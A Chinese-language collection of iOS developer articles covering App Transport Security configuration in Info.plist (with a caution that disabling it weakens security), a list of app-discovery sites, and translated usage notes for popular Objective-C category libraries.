	在Info.plist中添加NSAppTransportSecurity类型Dictionary。


	在NSAppTransportSecurity下添加NSAllowsArbitraryLoads类型Boolean,值设为YES




看到很多同学修改后还是不能用添加一下截图：


	在Filter中搜索Info.plist，选择Info.plist进行编辑



	按照上面提到的方式添加信息，正确的修改会看到下图这个样子，注意类型NSAppTransportSecurity为Dictionary，NSAllowsArbitraryLoads为Boolean，复制粘贴的时候，不要多了空格，segment fault 页面上直接复制，经常会多一个出空格！



	注意⚠️，单元测试下面也有一个Info.plist，修改那个文件是没有作用的！




补充说明

上面介绍的方法虽然解决了网络访问的问题，但是苹果提供的安全保障也被关闭了。
不过，按照国内的现状，关闭这个限制也许是更实际的做法。
至于原因就太多了，第三方SDK（几乎都是访问HTTP），合作伙伴接入（不能要求它们一定要支持HTTPS）。
如果你的App没有受到这些原因的限制，还是更建议你增加HTTPS支持，而不是关闭限制。
请大家根据项目的实际情况作调整。

出于安全考虑我们提倡使用HTTPS，退而求其次，优先考虑使用例外：将允许访问的域加入到配置列表中

@banxi1988 补充了配置的方法
对于实在不支持HTTPS的应该首先考虑添加例外

添加例外的方式也很简单：
左键Info.plist选择open with source code
然后添加类似如下的配置:

    <key>NSAppTransportSecurity</key>
    <dict>
        <key>NSExceptionDomains</key>
        <dict>
            <key>qq.com</key>
            <dict>
                <key>NSIncludesSubdomains</key>
                <true/>
            </dict>
            <key>sina.com.cn</key>
            <dict>
                <key>NSIncludesSubdomains</key>
                <true/>
            </dict>
           </dict>
   </dict>

根据自己需要的域名修改， NSIncludeSubdomains 顾名思义是包括子域的意思。



参考：


	App Transport Security support aka apps on iOS 9 don't work #4560


	711_networking_with_nsurlsession.pdf




总结：

苹果正在加大应用安全的管控，这个举措可以看出苹果对信息安全的重视，也暴露出大部分应用传输数据时都是未经过加密的，或使用私有方式加密，以至于苹果开始对开发者提出要求。
私有加密虽然一定程度上是安全的，但是终究不是一个长久之计。全世界这么多安全专家在维护HTTPS安全，早日使用HTTPS确保信息安全才是王道！也省去了私有加密协议的安全隐患！

如果这片文章对你有用，请点一下推荐，让更多的人能找到这里


 发现优秀 APP 的一些途径

作者：周良粥凉

来源： 发现优秀 APP 的一些途径



                    
再好的应用，也需要有人去发现他，我只是有那么一些途径，让我更快的找到它们而已。有网页，有微博，也有微信公众号，希望我的这些推荐可以让你更好的发现那些优秀、精美的应用。


AppZapp


AppZapp 是一款 iOS/Android 端限免应用推荐平台，旨在洞悉 App Store / Google Play的 限免/降价/新出应用，并第一时间推送消息至用户设备上。并且你还可以根据属性筛选应用，查看获赞数最高的应用，自定义筛选属性查看。AppZapp 有PC 网页版，和移动端，可以让你更好的找到应用。
http://www.appzapp.net/en/app/


AppShopper


AppShopper是一家iOS应用追踪网站，可提供反应App Store动态的滚动清单，功能包括搜寻新应用，查看应用升级以及价格变动。提供 iOS 客户端
http://appshopper.com/


最美应用


国内比较不错的获取优秀 app 的地方，致力于发掘功能之美、视觉之美、交互之美、用户体验之美。（提供 ios 客户端）
http://zuimeia.com/


少数派


主要推荐精品手机应用，同时提供智能手机使用教程，应用评测，应用资讯等。是我本人经常泡的地方。
http://sspai.com/


Pinapps（微信公众号）


Alibaba国际站无线设计团队负责人 @5Key 折腾的公众号，在这里你可以看到一些非常棒的应用，一些非常酷、非常小众的应用。
http://pinapps.in/


ApplePlus（微信公众号、微博）


一名 95 后极端应用狂，不定期推荐一些他认为优秀、实用的 APP，意图颠覆你的手机屏幕。

微信号：Apple-Plus

微博：http://weibo.com/p/1005053344700084


AppSo新酷应用（微信公众号、微博）


爱范儿旗下的应用推荐媒体 AppSolution，微信公众号和微博都有。微信号：AppSolution

微博：http://weibo.com/u/3329934602


爱屁屁


专注于移动 APPS（应用/游戏）个性化评测，木有客户端，只有网页。
http://www.appnz.com/


享应（iOS 客户端）


发现最新鲜、有趣甚至搞怪的优质应用，活跃的机友社区，方便交流。
http://www.isharein.com/


APP 每日推送


App每日推送是国内 iPhone/iPad 游戏应用推荐平台，每日推送适合国人的限时免费应用，同时也会推荐免费应用中的精品给大家。以上为官方介绍...
http://appdp.com/


小众软件


分享免费、小巧、实用、有趣、绿色的软件，可以说是国内非常有名的一个 Blog，确实可以发现一部分优秀的 App。
http://www.appinn.com/


数字尾巴


数字尾巴旗下有「应用控」这么一个平台，也会分享一些不错的应用。另外，如果你的手机上安装了数字尾巴的 APP，其实应用栏目下面你也可以找到一些不错的APP。
http://app.dgtle.com/


好奇心日报


其实，很多朋友都不知道「好奇心日报」下有个栏目叫「今日应用」，也会推荐一些非常棒的 APP，并且好奇心日报本身就是一款非常不错的应用。
http://qdaily.com/display/articles/tag/params/tag_id/1288/page/1


Product Hunt


Product Hunt 是一个发现新酷产品的平台，每日最佳新产品的排行榜。在这里，你也可以发现一些国外的新酷应用，有 iOS 客户端
http://www.producthunt.com/


Next


类似 Profuct Hunt ，Next 是 36Kr 旗下产品，在这里你可以找到国内外的新产品，发现那些不一样的应用，还可以和国内的创业团队、独立开发者直面交流。
http://next.36kr.com


MindStore


在 Mindstore，你不仅可以发现国内外新酷的产品、应用，你还可以和一些非常棒的产品负责人 and 创始人讨论一些话题。Mindstore 定期会在线上邀请一些产品的负责人来和大家聊聊。
http://mindStore.io


简书


简书可以说是卧虎藏龙，里面有不少朋友会推荐优秀 app，包括笔者也经常会到简书去写一些我认为不错的应用分享给大家。
http://jianshu.com


其他


其实微博上还有很多朋友也在分享一下不错的东西，比如@李大锤同学 的微博（少数派/最美应用撰稿人），另外例如@app狗 @app菌 等也会分享一些 APP 合集，但是如果你知道了上面列举了15个获取优秀应用的途径，我想已经足够你找到那些隐藏在众多应用中的「优秀 APP 了」


 iOS快速开发必备

作者：koknine

来源： iOS快速开发必备



                    
前言

github:https://github.com/koknine (终于改成以前的了)

当前移动互联网行业太火爆，移动端的需求日益增长，很多开发人员每天都应对着各种需求，作为一名iOS开发人员，对于需求来说，我们要做到的是实现，而对于自己来说，我们需要做到的是写出高质量的代码。

于是，全球的大神们开源了很多高质量、可复用的代码，给予了芸芸众生（心中一万个感谢）。例如我们常用的 AFNetworking，SDWebImage，Masonry 等等，这些第三方库内容强大，性能很高，为大家带来了很多福利。

在开发过程当中，适当合理的使用这些第三方库能帮我们节省很多的时间。这些优秀的第三方库就如同教科书一样，当我们深入挖掘的时候，才能获得更高的提升。

好了，吹了半天牛，我们现在到底要做什么呢？其实我想说的是，合理的使用第三方库能大大的提升开发效率，也许我们自己研究做动画弄半天，还不如开源动画好用，这样的情况很多时候我们是不得不承认的。与其与之较劲，不如我们先使用它们的框架，然后再做深入探究，这样方能更好的掌握。

网上很多好的整理，我这里引用一下：刚刚在线博客，里面有很多整理好的内容，非常好的干货。感谢原作者的内容，其中有一个整理的是iOS开发好用的 category，能帮我们节省很多精力，接下来我就先一一分析github上面这些category，翻译其中重要的内容。

声明：本人翻译并不能做到百分之百准确，内容如果有误，欢迎下方评论指导，谢谢！

UIImageView_FaceAwareFill

简介

地址：https://github.com/Julioacarrettoni/UIImageView_FaceAwareFill

This category applies Aspect Fill content mode to an image and if faces are detected it centers them instead of centering the image just by its geometrical center.
这个 category 使用了 Aspect Fill 的模式来显示图片并且当人脸被检测到时，它会就以脸部中心替代图片的集合中心。

使用

pch 文件中直接导入

#import "UIImageView+UIImageView_FaceAwareFill.h"

设置完一个UIImageView的属性以后直接

[self.imageView faceAwareFill];

然后就完了。。。。。

个人评价

看到没有，大神的提供的方法就是如此狂拽炫酷叼霸天，就是如此的简单。

NSRegularEx+ObjCRegex

简介
地址：https://github.com/bendytree/Objective-C-RegEx-Categories

This project simplifies regular expressions in Objective-C and Swift.
这个猛，直接把objective-c和swift里面的正则表达式给整合了。

这是一组对比

// Without this library
NSString* string = @"I have 2 dogs.";
NSRegularExpression *regex = [NSRegularExpression regular ExpressionWithPattern:@"\\d+" options:NSRegularExpressionCaseInsensitive error:&error];
NSTextCheckingResult *match = [regex firstMatchInString:string options:0 range:NSMakeRange(0, [string length])];
BOOL isMatch = match != nil;

// With this library
BOOL isMatch = [@"I have 2 dogs." isMatch:RX(@"\\d+")];

使用

安装过程就不赘述了，要么是cocoapods，要么直接拖进去。

老规矩，在 pch 文件中添加：

#ifdef __OBJC__
    /* ...other references... */
    #import "RegExCategories.h"
#endif

当然，你的工程需要开启ARC。

Swift支持
这个就需要一个桥接文件，百度即可，Swift引用 OC 的三方都是需要一个桥接文件。

后面的教程就不翻译了，直接去看代码吧，少年。

个人评价
还在为正则表达式而纠结吗？还在调试正则表达式问题吗？没错，走过路过不要错误，这里有你想要的一切。

NSObject+AutoCoding

简介

地址：https://github.com/nicklockwood/AutoCoding

这个是一个NSObject的 category，提供了对NSCoding和NSCopying的自动支持。这意味着你不要写initWithCoder:和encodeWithCoder:了，这个直接承包了。

当然，怎么用还是要看自己的，它并不能读懂你的思维。还有举个例子，你应该避免使用结构体因为它并不遵循NSCoding协议，而是通过NSValue。

支持很多版本

支持ARC和MRC

线程安全

使用

直接把AutoCoding.h和AutoCoding.m拖进工程。

其实自己写归档和反归档也没有那么复杂，这里就不做详细介绍了。

个人评价

这个其实还好，不过其中的机制很不错，值得一看，后面有时间我再翻译。

UILabel-ContentSize

简介

来源：https://github.com/mergesort/UILabel-ContentSize

使用

通过传入的字符串来改变UILabel的Size。

直接把.h和.m文件导入工程吧。

个人评价

正如同作者所说的，总是会忘记操作细节，不如直接写成 category。

UIViewController-Swizzled

简介

来源：https://github.com/RuiAAPeres/UIViewController-Swizzled

这个能帮你管理你的应用。当你正在做复杂的行为以及刚接手工程的时候这个会变得特别好用。使用这个 category 能看到你现在所在的UIViewController，还有展示你进入的层次。

使用

老规矩，要么直接拖入，要么用cocoapods。

需要导入链接库：

libobjc.dylib

然后导入头文件：

#import "UIViewController+Swizzled.h"

在AppDelegate中，你需要在方法- (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions方法里面加入SWIZZ_IT 开启。如果因为什么原因你想要停止，只需要添加UN_SWIZZ_IT 。

- (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions
{
    SWIZZ_IT;
    self.window = [[UIWindow alloc] initWithFrame:[[UIScreen mainScreen] bounds]];
    [self.window makeKeyAndVisible];

    // Your code...

    return YES;
}

然后就能看到输出：

2013-09-09 18:58:42.360 Testing[25399:c07] -> UINavigationController
2013-09-09 18:58:42.361 Testing[25399:c07] ---> RPViewController
2013-09-09 18:59:55.072 Testing[25399:c07] -----> RPSecondViewController
2013-09-09 18:59:57.367 Testing[25399:c07] -------> RPThirdViewController
2013-09-09 18:59:58.801 Testing[25399:c07] -----> RPSecondViewController
2013-09-09 19:00:00.282 Testing[25399:c07] -------> RPThirdViewController
2013-09-09 19:00:01.906 Testing[25399:c07] ---------> RPViewController
2013-09-09 19:00:03.515 Testing[25399:c07] -------> RPThirdViewController
2013-09-09 19:00:04.267 Testing[25399:c07] -----> RPSecondViewController
2013-09-09 19:00:05.041 Testing[25399:c07] ---> RPViewController
2013-09-09 19:00:07.193 Testing[25399:c07] -----> RPSecondViewController
2013-09-09 19:00:08.312 Testing[25399:c07] -------> RPThirdViewController
2013-09-09 19:00:09.396 Testing[25399:c07] ---------> RPViewController
2013-09-09 19:00:10.183 Testing[25399:c07] -----------> RPSecondViewController
2013-09-09 19:00:10.905 Testing[25399:c07] -------------> RPThirdViewController
2013-09-09 19:00:12.141 Testing[25399:c07] ---------------> RPViewController
2013-09-09 19:00:13.156 Testing[25399:c07] -----------------> RPSecondViewController

个人评价

当你刚接手一个新的项目的时候，无数个文件。

这是什么鬼？程序怎么运行的？那个类是干嘛用的？为什么运行到了这里，还有，文件怎么找？要疯掉了。。。

有了此神器，天黑都不怕，一步一步是爪牙，是魔鬼的步伐，程序的运行一清二楚，简直出门旅行，居家必备之良药。

你值得拥有！

NSDate-Escort

简介

来源：https://github.com/azu/NSDate-Escort

加强NSDate

使用

/**
 Returns the calendarIdentifier of calendars that is used by this library for date calculation.
 @see AZ_setDefaultCalendarIdentifier: for more details.
 */
+ (NSString *)AZ_defaultCalendarIdentifier;
/**
 Sets the calendarIdentifier of calendars that is used by this library for date calculation.
 You can specify any calendarIdentifiers predefined by NSLocale. If you provide nil, the library uses
 [NSCalendar currentCalendar]. Default value is nil.

 You can't provide individual calendars for individual date objects. If you need to perform such
 complicated date calculations, you should rather create calendars on your own.
 */
+ (void)AZ_setDefaultCalendarIdentifier:(NSString *)calendarIdentifier;

#pragma mark - Relative dates from the current date

- (BOOL)isYesterday;
- (BOOL)isSameWeekAsDate:(NSDate *) aDate;
- (BOOL)isThisWeek;
- (BOOL)isNextWeek;
- (BOOL)isLastWeek;
- (BOOL)isSameMonthAsDate:(NSDate *) aDate;
- (BOOL)isThisMonth;
- (BOOL)isSameYearAsDate:(NSDate *) aDate;
- (BOOL)isThisYear;
- (BOOL)isNextYear;
- (BOOL)isLastYear;
- (BOOL)isEarlierThanDate:(NSDate *) aDate;
- (BOOL)isLaterThanDate:(NSDate *) aDate;
- (BOOL)isEarlierThanOrEqualDate:(NSDate *) aDate;
- (BOOL)isLaterThanOrEqualDate:(NSDate *) aDate;
- (BOOL)isInFuture;
- (BOOL)isInPast;
#pragma mark - Date roles
- (BOOL)isTypicallyWorkday;
- (BOOL)isTypicallyWeekend;
#pragma mark - Adjusting dates
- (NSDate *)dateByAddingYears:(NSInteger) dYears;
- (NSDate *)dateBySubtractingYears:(NSInteger) dYears;
- (NSDate *)dateByAddingMonths:(NSInteger) dMonths;
- (NSDate *)dateBySubtractingMonths:(NSInteger) dMonths;
- (NSDate *)dateByAddingDays:(NSInteger) dDays;
- (NSDate *)dateBySubtractingDays:(NSInteger) dDays;
- (NSDate *)dateByAddingHours:(NSInteger) dHours;
- (NSDate *)dateBySubtractingHours:(NSInteger) dHours;
- (NSDate *)dateByAddingMinutes:(NSInteger) dMinutes;
- (NSDate *)dateBySubtractingMinutes:(NSInteger) dMinutes;
- (NSDate *)dateAtStartOfDay;
- (NSDate *)dateAtEndOfDay;
- (NSDate *)dateAtStartOfWeek;
- (NSDate *)dateAtEndOfWeek;
- (NSDate *)dateAtStartOfMonth;
- (NSDate *)dateAtEndOfMonth;
- (NSDate *)dateAtStartOfYear;
- (NSDate *)dateAtEndOfYear;
#pragma mark - Retrieving intervals
- (NSInteger)minutesAfterDate:(NSDate *) aDate;
- (NSInteger)minutesBeforeDate:(NSDate *) aDate;
- (NSInteger)hoursAfterDate:(NSDate *) aDate;
- (NSInteger)hoursBeforeDate:(NSDate *) aDate;
- (NSInteger)daysAfterDate:(NSDate *) aDate;
- (NSInteger)daysBeforeDate:(NSDate *) aDate;
- (NSInteger)monthsAfterDate:(NSDate *) aDate;
- (NSInteger)monthsBeforeDate:(NSDate *) aDate;
/**
* return distance days
*/
- (NSInteger)distanceInDaysToDate:(NSDate *) aDate;
#pragma mark - Decomposing dates
/**
* return nearest hour
*/
@property(readonly) NSInteger nearestHour;
@property(readonly) NSInteger hour;
@property(readonly) NSInteger minute;
@property(readonly) NSInteger seconds;
@property(readonly) NSInteger day;
@property(readonly) NSInteger month;
@property(readonly) NSInteger week;
//  in the Gregorian calendar, n is 7 and Sunday is represented by 1.
@property(readonly) NSInteger weekday;
@property(readonly) NSInteger firstDayOfWeekday;
@property(readonly) NSInteger lastDayOfWeekday;
// e.g. 2nd Tuesday of the month == 2
@property(readonly) NSInteger nthWeekday;

个人评价

无需多说，看方法名字就知道有什么作用了，回想起之前处理时间的日子。。。多么痛的领悟，果然那句话很对：磨刀不误砍柴工。

UIView+Toast

简介

来源：https://github.com/scalessec/Toast

使用

注意导入QuartzCore 

图片已经实例代码源地址都有，就几个参数


	makeToast    要显示的内容


	duration    持续时间


	position    放置的位置


	title    标题


	image    放置的图片


	makeToastActivity    显示 toast




个人评价

简单好用，清晰明了。

NYXImagesKit

简介

来源：https://github.com/Nyx0uf/NYXImagesKit

NYXImagesKit是一个重组了多个有用的UIImage categories的iOS项目，可对图像/图片进行多个处理，比如筛选、模糊、优化、蒙版、调整大小、旋转以及保存等等。同时还提供了一个UIImageView子类从URL异步加载图片，并在下载完毕时展示图片。

使用

首先打开NYXImagesKit.xcodeproj然后运行库，之后把库和头文件导入到你的工程里面，最后要链接以下的框架：


	Accelerate


	AssetsLibrary


	ImageIO


	MobileCoreServices


	QuartzCore


	CoreImage




UIImage+Blurring
模糊效果

[myImage gaussianBlurWithBias:0];

UIImage+Masking
蒙板效果

UIImage* masked = [myImage maskWithImage:[UIImage imageNamed:@"mask.png"]];

UIImage+Resizing
重置尺寸


	上左


	上中


	上右


	下左


	下中


	下右


	左中


	右中


	中间




UIImage* cropped = [myImage cropToSize:(CGSize){width, height} usingMode:NYXCropModeCenter];

NYXCropMode是一个枚举类型，能在头文件里面找到，表示不同的类型

Scaling
缩放

你有两种方法来缩放图片，这两种方法都能保持原图片比例

UIImage* scaled1 = [myImage scaleByFactor:0.5f];
UIImage* scaled2 = [myImage scaleToFitSize:(CGSize){width, height}];

UIImage+Rotating
旋转

UIImage* rotated1 = [myImage rotateInDegrees:217.0f];
UIImage* rotated2 = [myImage rotateInRadians:M_PI_2];
UIImage* flipped1 = [myImage verticalFlip];
UIImage* flipped2 = [myImage horizontalFlip];

UIImage+Reflection
重构图片

UIImage* reflected = [myImage reflectedImageWithHeight:myImage.size.height fromAlpha:0.0f toAlpha:0.5f];

UIImage+Enhancing
提升

[myImage autoEnhance];
[myImage redEyeCorrection];

UIImage+Saving
保存类型

这个能把图片存到一个地址或者相册，支持五种类型


	BMP


	GIF


	JPG


	PNG


	TIFF




要用这个就必须导入ImageIO.framework，MobileCoreServices.framework还有AssertsLibrary.framework。

[myImage saveToURL:url type:NYXImageTypeJPEG backgroundFillColor:nil];
[myImage saveToPath:path type:NYXImageTypeTIFF backgroundFillColor:[UIColor yellowColor]];
[myImage saveToPhotosAlbum];

NYXProgressiveImageView

这个是继承UIImageView的一个类，能异步加载图片和缓存。

当然，我们可以使用SDWebImage。

个人评价

这个针对于图片处理，很好很强大。

MJPopupViewController

简介

来源：https://github.com/martinjuhasz/MJPopupViewController

这个是给UIViewController提供过渡效果的。

使用

把Source目录下的文件夹拖入工程，然后导入QuartzCore.framework。

引入文件

#import "UIViewController+MJPopupViewController.h"

简单添加

[self presentPopupViewController:detailViewController animationType:MJPopupViewAnimationFade];

如果要消失

[self dismissPopupViewControllerWithanimationType:MJPopupViewAnimationFade];

在实例工程中可以看到更多的使用方法。

个人评价

一个非常简单容易使用的过渡效果，有需求的时候可以使用。

UIColor+Colours

简介

来源：https://github.com/bennyguitar/Colours

为UIColor提供更多颜色支持

使用

cocoapods安装，或者拖入文件

颜色过多，就不一一列举了。

RGBA

通过数组可以取出UIColor的四个参数，都是NSNumber类型，记得他们都是0-1的数，不是0-255

NSArray *colorArray = [[UIColor seafoamColor] rgbaArray];
UIColor *newColor = [UIColor colorFromRGBAArray:colorArray];

字典也能取到值


	kColoursRGBA_R


	kColoursRGBA_G


	kColoursRGBA_B


	kColoursRGBA_A




NSDictionary *colorDict = [[UIColor seafoamColor] rgbaDictionary];
UIColor *newColor = [UIColor colorFromRGBADictionary:colorDict];

// You can also get a single component like so:
NSNumber *r = colorDict[kColoursRGBA_R];

后面还有很多方法，不一一列举了。

个人评价

实际开发中，一般 UI 设计出来各种颜色，位置都确定了，所以不好说这个用的多不多。

NSDate+Helper

简介

来源：https://github.com/billymeltdown/nsdate-helper

这也是一个扩展NSDate的 category

使用

使用方便，stringForDisplayFromDate能非常便捷的显示出很多信息。

NSString *displayString = [NSDate stringForDisplayFromDate:date];

这能显示出很多信息


	‘3:42 AM’ – 如果时间是在今天半夜


	‘Tuesday’ – 如果时间是在这个星期


	‘Mar 1’ – 如果日期是在今年


	‘Mar 1, 2008’ – else ;-)




另外的方法能显示几天之前这样的信息

NSDate *date = [NSDate date];
  [date daysAgo]; // provides an NSComponent-based NSUInteger describing days ago.
  [date daysAgoAgainstMidnight]; // better version of daysAgo, works off midnight (hat-tip: "sburlot":http://github.com/sburlot)
  [date stringDaysAgo]; // 'Today', 'Yesterday', or 'N days ago'.

构造date formatters很纠结？缺少to_s(:db)？我也是，NSDate (Helper)有些静态方法能够在两者之间转换，而且能支持数据库的时间戳。

NSDate *date = [NSDate dateFromString:@"2009-03-01 12:15:23"];
NSString *dbDateString = [NSDate stringFromDate:date]; // returns '2009-03-01 12:15:23'

还有

NSString *otherDateString = [NSDate stringFromDate:date withFormat:@"EEEE"]; // use any format you like

个人评价

这个也不错，更多功能可以在.h文件里面找，命名很规范。

ObjectiveSugar

简介

来源：https://github.com/supermarin/ObjectiveSugar

语法糖功能

使用

使用cocoapods，然后导入头文件#import <ObjectiveSugar/ObjectiveSugar.h>

NSNumber

[@3 times:^{
    NSLog(@"Hello!");
}];
// Hello!
// Hello!
// Hello!

[@3 timesWithIndex:^(NSUInteger index) {
    NSLog(@"Another version with number: %d", index);
}];
// Another version with number: 0
// Another version with number: 1
// Another version with number: 2


[@1 upto:4 do:^(NSInteger numbah) {
    NSLog(@"Current number.. %d", numbah);
}];
// Current number.. 1
// Current number.. 2
// Current number.. 3
// Current number.. 4

[@7 downto:4 do:^(NSInteger numbah) {
    NSLog(@"Current number.. %d", numbah);
}];
// Current number.. 7
// Current number.. 6
// Current number.. 5
// Current number.. 4

NSDate *firstOfDecember = [NSDate date]; // let's pretend it's 1st of December

NSDate *firstOfNovember = [@30.days since:firstOfDecember];
// 2012-11-01 00:00:00 +0000

NSDate *christmas = [@7.days until:newYearsDay];
// 2012-12-25 00:00:00 +0000

NSDate *future = @24.days.fromNow;
// 2012-12-25 20:49:05 +0000

NSDate *past = @1.month.ago;
// 2012-11-01 20:50:28 +00:00

NSArray / NSSet

// All of these methods return a modified copy of the array.
// They're not modifying the source array.

NSArray *cars = @[@"Testarossa", @"F50", @"F458 Italia"]; // or NSSet

[cars each:^(id object) {
    NSLog(@"Car: %@", object);
}];
// Car: Testarossa
// Car: F50
// Car: F458 Italia

[cars eachWithIndex:^(id object, NSUInteger index) {
    NSLog(@"Car: %@ index: %i", object, index);
}];
// Car: Testarossa index: 0
// Car: F50 index: 1
// Car: F458 Italia index: 2

[cars each:^(id object) {
    NSLog(@"Car: %@", object);
} options:NSEnumerationReverse];
// Car: F458 Italia
// Car: F50
// Car: Testarossa

[cars eachWithIndex:^(id object, NSUInteger index) {
    NSLog(@"Car: %@ index: %i", object, index);
} options:NSEnumerationReverse];
// Car: F458 Italia index: 2
// Car: F50 index: 1
// Car: Testarossa index: 0

[cars map:^(NSString* car) {
    return car.lowercaseString;
}];
// testarossa, f50, f458 italia

// Or, a more common example:
[cars map:^(NSString* carName) {
    return [[Car alloc] initWithName:carName];
}];
// array of Car objects

NSArray *mixedData = @[ @1, @"Objective Sugar!", @"Github", @4, @"5"];

[mixedData select:^BOOL(id object) {
  return ([object class] == [NSString class]);
}];
// Objective Sugar, Github, 5

[mixedData reject:^BOOL(id object) {
    return ([object class] == [NSString class]);
}];
// 1, 4

NSArray *numbers = @[ @5, @2, @7, @1 ];
[numbers sort];
// 1, 2, 5, 7

cars.sample
// 458 Italia
cars.sample
// F50

NSArrayonly

NSArray *numbers = @[@1, @2, @3, @4, @5, @6];

// index from 2 to 4
numbers[@"2..4"];
// [@3, @4, @5]

// index from 2 to 4 (excluded)
numbers[@"2...4"];
// [@3, @4]

// With NSRange location: 2, length: 4
numbers[@"2,4"];
// [@3, @4, @5, @6]

NSValue *range = [NSValue valueWithRange:NSMakeRange(2, 4)];
numbers[range];
// [@3, @4, @5, @6]

[numbers reverse];
// [@6, @5, @4, @3, @2, @1]


NSArray *fruits = @[ @"banana", @"mango", @"apple", @"pear" ];

[fruits includes:@"apple"];
// YES

[fruits take:3];
// banana, mango, apple

[fruits takeWhile:^BOOL(id fruit) {
    return ![fruit isEqualToString:@"apple"];
}];
// banana, mango

NSArray *nestedArray = @[ @[ @1, @2, @3 ], @[ @4, @5, @6, @[ @7, @8 ] ], @9, @10 ];
[nestedArray flatten];
// 1, 2, 3, 4, 5, 6, 7, 8, 9, 10

NSArray *abc = @[ @"a", @"b", @"c" ];
[abc join];
// abc

[abc join:@"-"];
// a-b-c

NSArray *mixedData = @[ @1, @"Objective Sugar!", @"Github", @4, @"5"];

[mixedData detect:^BOOL(id object) {
    return ([object class] == [NSString class]);
}];
// Objective Sugar



// TODO: Make a better / simpler example of this
NSArray *landlockedCountries = @[ @"Bolivia", @"Paraguay", @"Austria", @"Switzerland", @"Hungary" ];
NSArray *europeanCountries = @[ @"France", @"Germany", @"Austria", @"Spain", @"Hungary", @"Poland", @"Switzerland" ];


[landlockedCountries intersectionWithArray:europeanCountries];
// landlockedEuropeanCountries = Austria, Switzerland, Hungary

[landlockedCountries unionWithArray:europeanCountries];
// landlockedOrEuropean = Bolivia, Paraguay, Austria, Switzerland, Hungary, France, Germany, Spain, Poland

[landlockedCountries relativeComplement:europeanCountries];
// nonEuropeanLandlockedCountries = Bolivia, Paraguay

[europeanCountries relativeComplement:landlockedCountries];
// notLandlockedEuropeanCountries = France, Germany, Spain, Poland

[landlockedCountries symmetricDifference:europeanCountries];
// uniqueCountries = Bolivia, Paraguay, France, Germany, Spain, Poland

NSMutableArray

NSMutableArray *people = @[ @"Alice", @"Benjamin", @"Christopher" ];

[people push:@"Daniel"]; // Alice, Benjamin, Christopher, Daniel

[people pop]; // Daniel
// people = Alice, Benjamin, Christopher

[people pop:2]; // Benjamin, Christopher
// people = Alice

[people concat:@[ @"Evan", @"Frank", @"Gavin" ]];
// people = Alice, Evan, Frank, Gavin

[people keepIf:^BOOL(id object) {
    return [object characterAtIndex:0] == 'E';
}];
// people = Evan

NSDictionary

NSDictionary *dict = @{ @"one" : @1, @"two" : @2, @"three" : @3 };

[dict each:^(id key, id value){
    NSLog(@"Key: %@, Value: %@", key, value);
}];
// Key: one, Value: 1
// Key: two, Value: 2
// Key: three, Value: 3

[dict eachKey:^(id key) {
    NSLog(@"Key: %@", key);
}];
// Key: one
// Key: two
// Key: three

[dict eachValue:^(id value) {
    NSLog(@"Value: %@", value);
}];
// Value: 1
// Value: 2
// Value: 3

NSDictionary *errors = @{
    @"username" : @[ @"already taken" ],
    @"password" : @[ @"is too short (minimum is 8 characters)", @"not complex enough" ],
    @"email" : @[ @"can't be blank" ];
};

[errors map:^(id attribute, id reasons) {
    return NSStringWithFormat(@"%@ %@", attribute, [reasons join:@", "]);
}];
// username already taken
// password is too short (minimum is 8 characters), not complex enough
// email can't be blank

[errors hasKey:@"email"]
// true
[errors hasKey:@"Alcatraz"]
// false

NSString

NSString *sentence = NSStringWithFormat(@"This is a text-with-argument %@", @1234);
// This is a text-with-argument 1234

[sentence split];
// array = this, is, a, text-with-argument, 1234

[sentence split:@"-"]
// array = this is a text, with, argument 1234

[sentence containsString:@"this is a"];
// YES

C

unless(_messages) {
    // The body is only executed if the condition is false
    _messages = [self initializeMessages];
}

int iterations = 10;
until(iterations == 0) {
    // The body is executed until the condition is false
    // 10 9 8 7 6 5 4 3 2 1
    printf("%d ", iterations);
    iterations--;
}
printf("\n");

iterations = 10;
do {
    // The body is executed at least once until the condition is false
    // Will print: Executed!
    printf("Executed!\n");
} until(true);

个人评价

这是什么黑科技，简直改变 OC 语法，简化更多语法，简直停不下来。

Kiwi

简介

来源：https://github.com/kiwi-bdd/Kiwi

Kiwi的作用是用来过来更方便的测试程序，可读性更高。

使用

pod "Kiwi"

详细需要看文档。

个人评价

又是一个黑科技，用的时候再查看文档吧。

ViewUtils

简介

来源：https://github.com/nicklockwood/ViewUtils

目的
扩展UIView的 category，有几个方面：


	载入Nib- 不需要UIViewController就能载入视图


	布局 - 能独立设置位置或者宽/高


	搜索 - 检索子视图，通过类，tag 或者正则表达式


	响应者 - 找到一个 view 的第一响应者




线程安全
这个只能在主线程使用

使用

把两个文件拖入工程

方法封装了系统的UIView，很多都是非常实用且增加了安全性能。

还能单独修改frame的值。

个人评价
封装UIView的通用功能，安全性得到提高，还能单独修改frame，增加了很多便利。

NSDate-TimeAgo

简介

来源：https://github.com/kevinlawler/NSDate-TimeAgo

可以显示当前时间是多久以前，不过这个已经并入了另一个库里面

使用

导入#import "NSDate+TimeAgo.h"

NSDate *date = [[NSDate alloc] initWithTimeIntervalSince1970:0];
NSString *ago = [date timeAgo];
NSLog(@"Output is: \"%@\"", ago);
2011-11-12 17:19:25.608 Proj[0:0] Output is: "41 years ago"

还有两种方法


	dateTimeAgo - 返回{value} {unit} ago 这种格式


	dateTimeUntilNow - 返回昨天/今早/上个星期/这个月，没有上面的精确但是更自然。




个人评价

如果只需要很简单的功能，这个就能满足，如果需要对时间更强大处理

访问：https://github.com/MatthewYork/DateTools

iOS-FontAwesome

简介

来源：https://github.com/alexdrone/ios-fontawesome

添加字体，还有图片

使用

首先，在工程里面必须有FontAwesome.ttf，而且在plist文件中的UIAppFonts必须包换一个String item名字叫FontAwesome.ttf

然后再导入NSString+FontAwesome

UILabel *label = [...]
label.font = [UIFont fontWithName:kFontAwesomeFamilyName size:20];

还能使用枚举

label.text = [NSString fontAwesomeIconStringForEnum:FAGithub];

当然，最重要还是查看文档，里面提供各种字体。

个人评价

确实很不错，很多种类型的字体，还有图片的，总之很给力。

NSObject-AutoDescription

简介

来源：https://github.com/djmadcat/NSObject-AutoDescription

增加对NSArray，NSDictionary还有NSSet的描述支持

使用

#import "NAUser.h"
#import "NSObject+AutoDescription.h"

@implementation NAUser

- (NSString *)description
{
    return [self autoDescription];
}

@end

个人评价

小而美，有需求的话可以用下。

CGRectPositioning

简介

来源:https://github.com/mvx24/CGRectPositioning

这个是个宏文件

可以对CGRect很方便的处理

使用

看名字就能知道了，把CGRectPositioning.h导入工程，里面全是宏

个人评价

代码布局的时候，使用这个就能很方便

